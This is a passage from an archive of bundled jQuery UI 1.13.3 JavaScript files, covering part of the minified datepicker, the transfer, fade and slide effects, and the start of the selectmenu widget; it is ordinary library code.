0}(V(e))+1),V.datepicker._datepickerShowing=!0,V.effects&&V.effects.effect[a]?s.dpDiv.show(a,V.datepicker._get(s,"showOptions"),i):s.dpDiv[a||"show"](a?i:null),V.datepicker._shouldFocusInput(s)&&s.input.trigger("focus"),V.datepicker._curInst=s)},_updateDatepicker:function(e){this.maxRows=4,(n=e).dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e);var t,a=this._getNumberOfMonths(e),i=a[1],s=e.dpDiv.find("."+this._dayOverClass+" a"),r=V.datepicker._get(e,"onUpdateDatepicker");0<s.length&&d.apply(s.get(0)),e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),1<i&&e.dpDiv.addClass("ui-datepicker-multi-"+i).css("width",17*i+"em"),e.dpDiv[(1!==a[0]||1!==a[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===V.datepicker._curInst&&V.datepicker._datepickerShowing&&V.datepicker._shouldFocusInput(e)&&e.input.trigger("focus"),e.yearshtml&&(t=e.yearshtml,setTimeout(function(){t===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year").first().replaceWith(e.yearshtml),t=e.yearshtml=null},0)),r&&r.apply(e.input?e.input[0]:null,[e])},_shouldFocusInput:function(e){return e.input&&e.input.is(":visible")&&!e.input.is(":disabled")&&!e.input.is(":focus")},_checkOffset:function(e,t,a){var i=e.dpDiv.outerWidth(),s=e.dpDiv.outerHeight(),r=e.input?e.input.outerWidth():0,n=e.input?e.input.outerHeight():0,d=document.documentElement.clientWidth+(a?0:V(document).scrollLeft()),c=document.documentElement.clientHeight+(a?0:V(document).scrollTop());return t.left-=this._get(e,"isRTL")?i-r:0,t.left-=a&&t.left===e.input.offset().left?V(document).scrollLeft():0,t.top-=a&&t.top===e.input.offset().top+n?V(document).scrollTop():0,t.left-=Math.min(t.left,d<t.left+i&&i<d?Math.abs(t.left+i-d):0),t.top-=Math.min(t.top,c<t.top+s&&s<c?Math.abs(s+n):0),t},_findPos:function(e){for(var t=this._getInst(e),a=this._get(t,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||V.expr.pseudos.hidden(e));)e=e[a?"previousSibling":"nextSibling"];return[(t=V(e).offset()).left,t.top]},_hideDatepicker:function(e){var t,a,i=this._curInst;!i||e&&i!==V.data(e,"datepicker")||this._datepickerShowing&&(e=this._get(i,"showAnim"),a=this._get(i,"duration"),t=function(){V.datepicker._tidyDialog(i)},V.effects&&(V.effects.effect[e]||V.effects[e])?i.dpDiv.hide(e,V.datepicker._get(i,"showOptions"),a,t):i.dpDiv["slideDown"===e?"slideUp":"fadeIn"===e?"fadeOut":"hide"](e?a:null,t),e||t(),this._datepickerShowing=!1,(a=this._get(i,"onClose"))&&a.apply(i.input?i.input[0]:null,[i.input?i.input.val():"",i]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),V.blockUI)&&(V.unblockUI(),V("body").append(this.dpDiv)),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(e){var t;V.datepicker._curInst&&(e=V(e.target),t=V.datepicker._getInst(e[0]),!(e[0].id===V.datepicker._mainDivId||0!==e.parents("#"+V.datepicker._mainDivId).length||e.hasClass(V.datepicker.markerClassName)||e.closest("."+V.datepicker._triggerClass).length||!V.datepicker._datepickerShowing||V.datepicker._inDialog&&V.blockUI)||e.hasClass(V.datepicker.markerClassName)&&V.datepicker._curInst!==t)&&V.datepicker._hideDatepicker()},_adjustDate:function(e,t,a){var e=V(e),i=this._getInst(e[0]);this._isDisabledDatepicker(e[0])||(this._adjustInstDate(i,t,a),this._updateDatepicker(i))},_gotoToday:function(e){var t,e=V(e),a=this._getInst(e[0]);this._get(a,"gotoCurrent")&&a.currentDay?(a.selectedDay=a.currentDay,a.drawMonth=a.selectedMonth=a.currentMonth,a.drawYear=a.selectedYear=a.currentYear):(t=new Date,a.selectedDay=t.getDate(),a.drawMonth=a.selectedMonth=t.getMonth(),a.drawYear=a.selectedYear=t.getFullYear()),this._notifyChange(a),this._adjustDate(e)},_selectMonthYear:function(e,t,a){var e=V(e),i=this._getInst(e[0]);i["selected"+("M"===a?"Month":"Year")]=i["draw"+("M"===a?"Month":"Year")]=parseInt(t.options[t.selectedIndex].value,10),this._notifyChange(i),this._adjustDate(e)},_selectDay:function(e,t,a,i){var s=V(e);V(i).hasClass(this._unselectableClass)||this._isDisabledDatepicker(s[0])||((s=this._getInst(s[0])).selectedDay=s.currentDay=parseInt(V("a",i).attr("data-date")),s.selectedMonth=s.currentMonth=t,s.selectedYear=s.currentYear=a,this._selectDate(e,this._formatDate(s,s.currentDay,s.currentMonth,s.currentYear)))},_clearDate:function(e){e=V(e);this._selectDate(e,"")},_selectDate:function(e,t){var a,e=V(e),e=this._getInst(e[0]);t=null!=t?t:this._formatDate(e),e.input&&e.input.val(t),this._updateAlternate(e),(a=this._get(e,"onSelect"))?a.apply(e.input?e.input[0]:null,[t,e]):e.input&&e.input.trigger("change"),e.inline?this._updateDatepicker(e):(this._hideDatepicker(),this._lastInput=e.input[0],"object"!=typeof e.input[0]&&e.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(e){var t,a,i=this._get(e,"altField");i&&(a=this._get(e,"altFormat")||this._get(e,"dateFormat"),t=this._getDate(e),a=this.formatDate(a,t,this._getFormatConfig(e)),V(document).find(i).val(a))},noWeekends:function(e){e=e.getDay();return[0<e&&e<6,""]},iso8601Week:function(e){var t,e=new Date(e.getTime());return e.setDate(e.getDate()+4-(e.getDay()||7)),t=e.getTime(),e.setMonth(0),e.setDate(1),Math.floor(Math.round((t-e)/864e5)/7)+1},parseDate:function(t,s,e){if(null==t||null==s)throw"Invalid arguments";if(""===(s="object"==typeof s?s.toString():s+""))return null;for(var a,i,r=0,n=(e?e.shortYearCutoff:null)||this._defaults.shortYearCutoff,n="string"!=typeof n?n:(new Date).getFullYear()%100+parseInt(n,10),d=(e?e.dayNamesShort:null)||this._defaults.dayNamesShort,c=(e?e.dayNames:null)||this._defaults.dayNames,o=(e?e.monthNamesShort:null)||this._defaults.monthNamesShort,l=(e?e.monthNames:null)||this._defaults.monthNames,h=-1,u=-1,p=-1,g=-1,_=!1,f=function(e){e=y+1<t.length&&t.charAt(y+1)===e;return e&&y++,e},k=function(e){var t=f(e),t="@"===e?14:"!"===e?20:"y"===e&&t?4:"o"===e?3:2,e=new RegExp("^\\d{"+("y"===e?t:1)+","+t+"}"),t=s.substring(r).match(e);if(t)return r+=t[0].length,parseInt(t[0],10);throw"Missing number at position "+r},D=function(e,t,a){var i=-1,e=V.map(f(e)?a:t,function(e,t){return[[t,e]]}).sort(function(e,t){return-(e[1].length-t[1].length)});if(V.each(e,function(e,t){var a=t[1];if(s.substr(r,a.length).toLowerCase()===a.toLowerCase())return i=t[0],r+=a.length,!1}),-1!==i)return i+1;throw"Unknown name at position "+r},m=function(){if(s.charAt(r)!==t.charAt(y))throw"Unexpected literal at position "+r;r++},y=0;y<t.length;y++)if(_)"'"!==t.charAt(y)||f("'")?m():_=!1;else switch(t.charAt(y)){case"d":p=k("d");break;case"D":D("D",d,c);break;case"o":g=k("o");break;case"m":u=k("m");break;case"M":u=D("M",o,l);break;case"y":h=k("y");break;case"@":h=(i=new Date(k("@"))).getFullYear(),u=i.getMonth()+1,p=i.getDate();break;case"!":h=(i=new Date((k("!")-this._ticksTo1970)/1e4)).getFullYear(),u=i.getMonth()+1,p=i.getDate();break;case"'":f("'")?m():_=!0;break;default:m()}if(r<s.length&&(e=s.substr(r),!/^\s+/.test(e)))throw"Extra/unparsed characters found in date: "+e;if(-1===h?h=(new Date).getFullYear():h<100&&(h+=(new Date).getFullYear()-(new Date).getFullYear()%100+(h<=n?0:-100)),-1<g)for(u=1,p=g;;){if(p<=(a=this._getDaysInMonth(h,u-1)))break;u++,p-=a}if((i=this._daylightSavingAdjust(new Date(h,u-1,p))).getFullYear()!==h||i.getMonth()+1!==u||i.getDate()!==p)throw"Invalid date";return i},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*60*60*1e7,formatDate:function(t,e,a){if(!e)return"";function i(e,t,a){var i=""+t;if(l(e))for(;i.length<a;)i="0"+i;return i}function s(e,t,a,i){return(l(e)?i:a)[t]}var r,n=(a?a.dayNamesShort:null)||this._defaults.dayNamesShort,d=(a?a.dayNames:null)||this._defaults.dayNames,c=(a?a.monthNamesShort:null)||this._defaults.monthNamesShort,o=(a?a.monthNames:null)||this._defaults.monthNames,l=function(e){e=r+1<t.length&&t.charAt(r+1)===e;return e&&r++,e},h="",u=!1;if(e)for(r=0;r<t.length;r++)if(u)"'"!==t.charAt(r)||l("'")?h+=t.charAt(r):u=!1;else switch(t.charAt(r)){case"d":h+=i("d",e.getDate(),2);break;case"D":h+=s("D",e.getDay(),n,d);break;case"o":h+=i("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":h+=i("m",e.getMonth()+1,2);break;case"M":h+=s("M",e.getMonth(),c,o);break;case"y":h+=l("y")?e.getFullYear():(e.getFullYear()%100<10?"0":"")+e.getFullYear()%100;break;case"@":h+=e.getTime();break;case"!":h+=1e4*e.getTime()+this._ticksTo1970;break;case"'":l("'")?h+="'":u=!0;break;default:h+=t.charAt(r)}return h},_possibleChars:function(t){for(var e="",a=!1,i=function(e){e=s+1<t.length&&t.charAt(s+1)===e;return e&&s++,e},s=0;s<t.length;s++)if(a)"'"!==t.charAt(s)||i("'")?e+=t.charAt(s):a=!1;else switch(t.charAt(s)){case"d":case"m":case"y":case"@":e+="0123456789";break;case"D":case"M":return null;case"'":i("'")?e+="'":a=!0;break;default:e+=t.charAt(s)}return e},_get:function(e,t){return(void 0!==e.settings[t]?e.settings:this._defaults)[t]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var a=this._get(e,"dateFormat"),i=e.lastVal=e.input?e.input.val():null,s=this._getDefaultDate(e),r=s,n=this._getFormatConfig(e);try{r=this.parseDate(a,i,n)||s}catch(e){i=t?"":i}e.selectedDay=r.getDate(),e.drawMonth=e.selectedMonth=r.getMonth(),e.drawYear=e.selectedYear=r.getFullYear(),e.currentDay=i?r.getDate():0,e.currentMonth=i?r.getMonth():0,e.currentYear=i?r.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,"defaultDate"),new Date))},_determineDate:function(d,e,t){var a,i=null==e||""===e?t:"string"==typeof e?function(e){try{return V.datepicker.parseDate(V.datepicker._get(d,"dateFormat"),e,V.datepicker._getFormatConfig(d))}catch(e){}for(var t=(e.toLowerCase().match(/^c/)?V.datepicker._getDate(d):null)||new Date,a=t.getFullYear(),i=t.getMonth(),s=t.getDate(),r=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,n=r.exec(e);n;){switch(n[2]||"d"){case"d":case"D":s+=parseInt(n[1],10);break;case"w":case"W":s+=7*parseInt(n[1],10);break;case"m":case"M":i+=parseInt(n[1],10),s=Math.min(s,V.datepicker._getDaysInMonth(a,i));break;case"y":case"Y":a+=parseInt(n[1],10),s=Math.min(s,V.datepicker._getDaysInMonth(a,i))}n=r.exec(e)}return new Date(a,i,s)}(e):"number"==typeof e?isNaN(e)?t:(i=e,(a=new Date).setDate(a.getDate()+i),a):new Date(e.getTime());return(i=i&&"Invalid Date"===i.toString()?t:i)&&(i.setHours(0),i.setMinutes(0),i.setSeconds(0),i.setMilliseconds(0)),this._daylightSavingAdjust(i)},_daylightSavingAdjust:function(e){return e?(e.setHours(12<e.getHours()?e.getHours()+2:0),e):null},_setDate:function(e,t,a){var i=!t,s=e.selectedMonth,r=e.selectedYear,t=this._restrictMinMax(e,this._determineDate(e,t,new Date));e.selectedDay=e.currentDay=t.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=t.getMonth(),e.drawYear=e.selectedYear=e.currentYear=t.getFullYear(),s===e.selectedMonth&&r===e.selectedYear||a||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(i?"":this._formatDate(e))},_getDate:function(e){return!e.currentYear||e.input&&""===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay))},_attachHandlers:function(e){var t=this._get(e,"stepMonths"),a="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){V.datepicker._adjustDate(a,-t,"M")},next:function(){V.datepicker._adjustDate(a,+t,"M")},hide:function(){V.datepicker._hideDatepicker()},today:function(){V.datepicker._gotoToday(a)},selectDay:function(){return V.datepicker._selectDay(a,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return V.datepicker._selectMonthYear(a,this,"M"),!1},selectYear:function(){return V.datepicker._selectMonthYear(a,this,"Y"),!1}};V(this).on(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(e){var t,a,i,s,r,O,L,R,H,n,d,W,c,o,l,h,u,p,g,_,f,k,E,D,m,U,y,P,z,v,M,b,w=new Date,B=this._daylightSavingAdjust(new Date(w.getFullYear(),w.getMonth(),w.getDate())),C=this._get(e,"isRTL"),w=this._get(e,"showButtonPanel"),I=this._get(e,"hideIfNoPrevNext"),x=this._get(e,"navigationAsDateFormat"),Y=this._getNumberOfMonths(e),S=this._get(e,"showCurrentAtPos"),F=this._get(e,"stepMonths"),J=1!==Y[0]||1!==Y[1],N=this._daylightSavingAdjust(e.currentDay?new Date(e.currentYear,e.currentMonth,e.currentDay):new Date(9999,9,9)),T=this._getMinMaxDate(e,"min"),A=this._getMinMaxDate(e,"max"),K=e.drawMonth-S,j=e.drawYear;if(K<0&&(K+=12,j--),A)for(t=this._daylightSavingAdjust(new Date(A.getFullYear(),A.getMonth()-Y[0]*Y[1]+1,A.getDate())),t=T&&t<T?T:t;this._daylightSavingAdjust(new Date(j,K,1))>t;)--K<0&&(K=11,j--);for(e.drawMonth=K,e.drawYear=j,S=this._get(e,"prevText"),S=x?this.formatDate(S,this._daylightSavingAdjust(new Date(j,K-F,1)),this._getFormatConfig(e)):S,a=this._canAdjustMonth(e,-1,j,K)?V("<a>").attr({class:"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"e":"w")).text(S))[0].outerHTML:I?"":V("<a>").attr({class:"ui-datepicker-prev ui-corner-all ui-state-disabled",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"e":"w")).text(S))[0].outerHTML,S=this._get(e,"nextText"),S=x?this.formatDate(S,this._daylightSavingAdjust(new Date(j,K+F,1)),this._getFormatConfig(e)):S,i=this._canAdjustMonth(e,1,j,K)?V("<a>").attr({class:"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"w":"e")).text(S))[0].outerHTML:I?"":V("<a>").attr({class:"ui-datepicker-next ui-corner-all ui-state-disabled",title:S}).append(V("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+(C?"w":"e")).text(S))[0].outerHTML,F=this._get(e,"currentText"),I=this._get(e,"gotoCurrent")&&e.currentDay?N:B,F=x?this.formatDate(F,I,this._getFormatConfig(e)):F,S="",e.inline||(S=V("<button>").attr({type:"button",class:"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(e,"closeText"))[0].outerHTML),x="",w&&(x=V("<div class='ui-datepicker-buttonpane ui-widget-content'>").append(C?S:"").append(this._isInRange(e,I)?V("<button>").attr({type:"button",class:"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(F):"").append(C?"":S)[0].outerHTML),s=parseInt(this._get(e,"firstDay"),10),s=isNaN(s)?0:s,r=this._get(e,"showWeek"),O=this._get(e,"dayNames"),L=this._get(e,"dayNamesMin"),R=this._get(e,"monthNames"),H=this._get(e,"monthNamesShort"),n=this._get(e,"beforeShowDay"),d=this._get(e,"showOtherMonths"),W=this._get(e,"selectOtherMonths"),c=this._getDefaultDate(e),o="",h=0;h<Y[0];h++){for(u="",this.maxRows=4,p=0;p<Y[1];p++){if(g=this._daylightSavingAdjust(new Date(j,K,e.selectedDay)),_=" ui-corner-all",f="",J){if(f+="<div class='ui-datepicker-group",1<Y[1])switch(p){case 0:f+=" ui-datepicker-group-first",_=" ui-corner-"+(C?"right":"left");break;case Y[1]-1:f+=" ui-datepicker-group-last",_=" ui-corner-"+(C?"left":"right");break;default:f+=" ui-datepicker-group-middle",_=""}f+="'>"}for(f+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+_+"'>"+(/all|left/.test(_)&&0===h?C?i:a:"")+(/all|right/.test(_)&&0===h?C?a:i:"")+this._generateMonthYearHeader(e,K,j,T,A,0<h||0<p,R,H)+"</div><table class='ui-datepicker-calendar'><thead><tr>",k=r?"<th class='ui-datepicker-week-col'>"+this._get(e,"weekHeader")+"</th>":"",l=0;l<7;l++)k+="<th scope='col'"+(5<=(l+s+6)%7?" class='ui-datepicker-week-end'":"")+"><span title='"+O[E=(l+s)%7]+"'>"+L[E]+"</span></th>";for(f+=k+"</tr></thead><tbody>",m=this._getDaysInMonth(j,K),j===e.selectedYear&&K===e.selectedMonth&&(e.selectedDay=Math.min(e.selectedDay,m)),D=(this._getFirstDayOfMonth(j,K)-s+7)%7,m=Math.ceil((D+m)/7),U=J&&this.maxRows>m?this.maxRows:m,this.maxRows=U,y=this._daylightSavingAdjust(new Date(j,K,1-D)),P=0;P<U;P++){for(f+="<tr>",z=r?"<td class='ui-datepicker-week-col'>"+this._get(e,"calculateWeek")(y)+"</td>":"",l=0;l<7;l++)v=n?n.apply(e.input?e.input[0]:null,[y]):[!0,""],b=(M=y.getMonth()!==K)&&!W||!v[0]||T&&y<T||A&&A<y,z+="<td class='"+(5<=(l+s+6)%7?" ui-datepicker-week-end":"")+(M?" ui-datepicker-other-month":"")+(y.getTime()===g.getTime()&&K===e.selectedMonth&&e._keyEvent||c.getTime()===y.getTime()&&c.getTime()===g.getTime()?" "+this._dayOverClass:"")+(b?" "+this._unselectableClass+" ui-state-disabled":"")+(M&&!d?"":" "+v[1]+(y.getTime()===N.getTime()?" "+this._currentClass:"")+(y.getTime()===B.getTime()?" ui-datepicker-today":""))+"'"+(M&&!d||!v[2]?"":" title='"+v[2].replace(/'/g,"'")+"'")+(b?"":" data-handler='selectDay' data-event='click' data-month='"+y.getMonth()+"' data-year='"+y.getFullYear()+"'")+">"+(M&&!d?" ":b?"<span class='ui-state-default'>"+y.getDate()+"</span>":"<a class='ui-state-default"+(y.getTime()===B.getTime()?" ui-state-highlight":"")+(y.getTime()===N.getTime()?" ui-state-active":"")+(M?" ui-priority-secondary":"")+"' href='#' aria-current='"+(y.getTime()===N.getTime()?"true":"false")+"' data-date='"+y.getDate()+"'>"+y.getDate()+"</a>")+"</td>",y.setDate(y.getDate()+1),y=this._daylightSavingAdjust(y);f+=z+"</tr>"}11<++K&&(K=0,j++),u+=f+="</tbody></table>"+(J?"</div>"+(0<Y[0]&&p===Y[1]-1?"<div class='ui-datepicker-row-break'></div>":""):"")}o+=u}return o+=x,e._keyEvent=!1,o},_generateMonthYearHeader:function(e,t,a,i,s,r,n,d){var c,o,l,h,u,p,g=this._get(e,"changeMonth"),_=this._get(e,"changeYear"),f=this._get(e,"showMonthAfterYear"),k=this._get(e,"selectMonthLabel"),D=this._get(e,"selectYearLabel"),m="<div class='ui-datepicker-title'>",y="";if(r||!g)y+="<span class='ui-datepicker-month'>"+n[t]+"</span>";else{for(c=i&&i.getFullYear()===a,o=s&&s.getFullYear()===a,y+="<select class='ui-datepicker-month' aria-label='"+k+"' data-handler='selectMonth' data-event='change'>",l=0;l<12;l++)(!c||l>=i.getMonth())&&(!o||l<=s.getMonth())&&(y+="<option value='"+l+"'"+(l===t?" selected='selected'":"")+">"+d[l]+"</option>");y+="</select>"}if(f||(m+=y+(!r&&g&&_?"":" ")),!e.yearshtml)if(e.yearshtml="",r||!_)m+="<span class='ui-datepicker-year'>"+a+"</span>";else{for(n=this._get(e,"yearRange").split(":"),h=(new Date).getFullYear(),u=(k=function(e){e=e.match(/c[+\-].*/)?a+parseInt(e.substring(1),10):e.match(/[+\-].*/)?h+parseInt(e,10):parseInt(e,10);return isNaN(e)?h:e})(n[0]),p=Math.max(u,k(n[1]||"")),u=i?Math.max(u,i.getFullYear()):u,p=s?Math.min(p,s.getFullYear()):p,e.yearshtml+="<select class='ui-datepicker-year' aria-label='"+D+"' data-handler='selectYear' data-event='change'>";u<=p;u++)e.yearshtml+="<option value='"+u+"'"+(u===a?" selected='selected'":"")+">"+u+"</option>";e.yearshtml+="</select>",m+=e.yearshtml,e.yearshtml=null}return m+=this._get(e,"yearSuffix"),f&&(m+=(!r&&g&&_?"":" ")+y),m+="</div>"},_adjustInstDate:function(e,t,a){var i=e.selectedYear+("Y"===a?t:0),s=e.selectedMonth+("M"===a?t:0),t=Math.min(e.selectedDay,this._getDaysInMonth(i,s))+("D"===a?t:0),i=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(i,s,t)));e.selectedDay=i.getDate(),e.drawMonth=e.selectedMonth=i.getMonth(),e.drawYear=e.selectedYear=i.getFullYear(),"M"!==a&&"Y"!==a||this._notifyChange(e)},_restrictMinMax:function(e,t){var a=this._getMinMaxDate(e,"min"),e=this._getMinMaxDate(e,"max"),a=a&&t<a?a:t;return e&&e<a?e:a},_notifyChange:function(e){var t=this._get(e,"onChangeMonthYear");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){e=this._get(e,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+"Date"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,a,i){var s=this._getNumberOfMonths(e),a=this._daylightSavingAdjust(new Date(a,i+(t<0?t:s[0]*s[1]),1));return t<0&&a.setDate(this._getDaysInMonth(a.getFullYear(),a.getMonth())),this._isInRange(e,a)},_isInRange:function(e,t){var a,i=this._getMinMaxDate(e,"min"),s=this._getMinMaxDate(e,"max"),r=null,n=null,e=this._get(e,"yearRange");return e&&(e=e.split(":"),a=(new Date).getFullYear(),r=parseInt(e[0],10),n=parseInt(e[1],10),e[0].match(/[+\-].*/)&&(r+=a),e[1].match(/[+\-].*/))&&(n+=a),(!i||t.getTime()>=i.getTime())&&(!s||t.getTime()<=s.getTime())&&(!r||t.getFullYear()>=r)&&(!n||t.getFullYear()<=n)},_getFormatConfig:function(e){var t=this._get(e,"shortYearCutoff");return{shortYearCutoff:"string"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),dayNamesShort:this._get(e,"dayNamesShort"),dayNames:this._get(e,"dayNames"),monthNamesShort:this._get(e,"monthNamesShort"),monthNames:this._get(e,"monthNames")}},_formatDate:function(e,t,a,i){t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear);i=t?"object"==typeof t?t:this._daylightSavingAdjust(new Date(i,a,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return this.formatDate(this._get(e,"dateFormat"),i,this._getFormatConfig(e))}}),V.fn.datepicker=function(e){if(!this.length)return this;V.datepicker.initialized||(V(document).on("mousedown",V.datepicker._checkExternalClick),V.datepicker.initialized=!0),0===V("#"+V.datepicker._mainDivId).length&&V("body").append(V.datepicker.dpDiv);var t=Array.prototype.slice.call(arguments,1);return"string"==typeof e&&("isDisabled"===e||"getDate"===e||"widget"===e)||"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?V.datepicker["_"+e+"Datepicker"].apply(V.datepicker,[this[0]].concat(t)):this.each(function(){"string"==typeof e?V.datepicker["_"+e+"Datepicker"].apply(V.datepicker,[this].concat(t)):V.datepicker._attachDatepicker(this,e)})},V.datepicker=new e,V.datepicker.initialized=!1,V.datepicker.uuid=(new Date).getTime(),V.datepicker.version="1.13.3",V.datepicker}); jquery/ui/effect-transfer.js 0000644 00000001570 15111757755 0012135 0 ustar 00 /*! * jQuery UI Effects Transfer 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Transfer Effect //>>group: Effects //>>description: Displays a transfer effect from one element to another. //>>docs: https://api.jqueryui.com/transfer-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var effect; if ( $.uiBackCompat !== false ) { effect = $.effects.define( "transfer", function( options, done ) { $( this ).transfer( options, done ); } ); } return effect; } ); jquery/ui/effect-fade.js 0000644 00000001710 15111757755 0011204 0 ustar 00 /*! * jQuery UI Effects Fade 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Fade Effect //>>group: Effects //>>description: Fades the element. //>>docs: https://api.jqueryui.com/fade-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "fade", "toggle", function( options, done ) { var show = options.mode === "show"; $( this ) .css( "opacity", show ? 0 : 1 ) .animate( { opacity: show ? 1 : 0 }, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/effect-slide.js 0000644 00000003657 15111757755 0011421 0 ustar 00 /*! * jQuery UI Effects Slide 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Slide Effect //>>group: Effects //>>description: Slides an element in and out of the viewport. //>>docs: https://api.jqueryui.com/slide-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "slide", "show", function( options, done ) { var startClip, startRef, element = $( this ), map = { up: [ "bottom", "top" ], down: [ "top", "bottom" ], left: [ "right", "left" ], right: [ "left", "right" ] }, mode = options.mode, direction = options.direction || "left", ref = ( direction === "up" || direction === "down" ) ? "top" : "left", positiveMotion = ( direction === "up" || direction === "left" ), distance = options.distance || element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ), animation = {}; $.effects.createPlaceholder( element ); startClip = element.cssClip(); startRef = element.position()[ ref ]; // Define hide animation animation[ ref ] = ( positiveMotion ? -1 : 1 ) * distance + startRef; animation.clip = element.cssClip(); animation.clip[ map[ direction ][ 1 ] ] = animation.clip[ map[ direction ][ 0 ] ]; // Reverse the animation if we're showing if ( mode === "show" ) { element.cssClip( animation.clip ); element.css( ref, animation[ ref ] ); animation.clip = startClip; animation[ ref ] = startRef; } // Actually animate element.animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/selectmenu.min.js 0000644 00000022436 15111757755 0012011 0 ustar 00 /*! * jQuery UI Selectmenu 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./menu","../form-reset-mixin","../keycode","../labels","../position","../unique-id","../version","../widget"],e):e(jQuery)}(function(u){"use strict";return u.widget("ui.selectmenu",[u.ui.formResetMixin,{version:"1.13.3",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr("id");this.ids={element:e,button:e+"-button",menu:e+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=u()},_drawButton:function(){var e,t=this,i=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(e){this.button.trigger("focus"),e.preventDefault()}}),this.element.hide(),this.button=u("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),e=u("<span>").appendTo(this.button),this._addClass(e,"ui-selectmenu-icon","ui-icon 